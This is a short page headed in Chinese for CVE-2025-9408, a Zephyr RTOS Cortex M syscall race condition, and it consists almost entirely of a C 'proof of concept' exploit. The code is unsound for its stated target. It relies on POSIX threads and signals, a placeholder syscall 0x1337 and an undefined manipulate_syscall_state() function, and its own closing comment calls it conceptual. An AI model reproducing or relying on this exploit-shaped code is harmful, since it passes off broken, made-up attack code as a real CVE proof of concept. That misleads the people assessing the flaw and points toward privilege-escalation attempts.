CVE-2025-9408 Zephyr RTOS Cortex M系统调用竞态条件权限提升漏洞

// CVE-2025-9408 - Race condition PoC for Zephyr RTOS Cortex M // This PoC demonstrates the race condition in syscall entry #include <stdio.h> #include <pthread.h> #include <signal.h> #include <stdlib.h> // Target syscall number for privilege escalation #define TARGET_SYSCALL 0x1337 volatile int race_window_open = 0; volatile int sync_counter = 0; void signal_handler(int sig) { // Interrupt during critical section race_window_open = 1; } void* attacker_thread(void* arg) { while (1) { // Busy wait to synchronize with main thread if (sync_counter % 100 == 0) { // Trigger syscall that exploits the race condition // In real attack, this would be a crafted syscall syscall(TARGET_SYSCALL); } sync_counter++; } } void* main_attack_thread(void* arg) { // Register signal handler to create race window signal(SIGUSR1, signal_handler); while (1) { if (race_window_open) { // Critical section - race condition window // Attempt to manipulate syscall handler state manipulate_syscall_state(); race_window_open = 0; } // Send signal to self to create race window raise(SIGUSR1); sync_counter++; } } int main() { pthread_t t1, t2; printf("CVE-2025-9408 PoC - Zephyr RTOS Race Condition\n"); printf("Target: Cortex M syscall entry race condition\n"); // Create threads to maximize race condition probability pthread_create(&t1, NULL, attacker_thread, NULL); pthread_create(&t2, NULL, main_attack_thread, NULL); // Let it run for a while sleep(60); return 0; } /* Note: This is a conceptual PoC. Actual exploitation requires: 1. Access to Zephyr RTOS running on Cortex M hardware 2. Knowledge of specific syscall numbers and handler addresses 3. Precise timing control and possibly hardware debugging tools 4. The actual Zephyr syscall entry code to identify exact race window */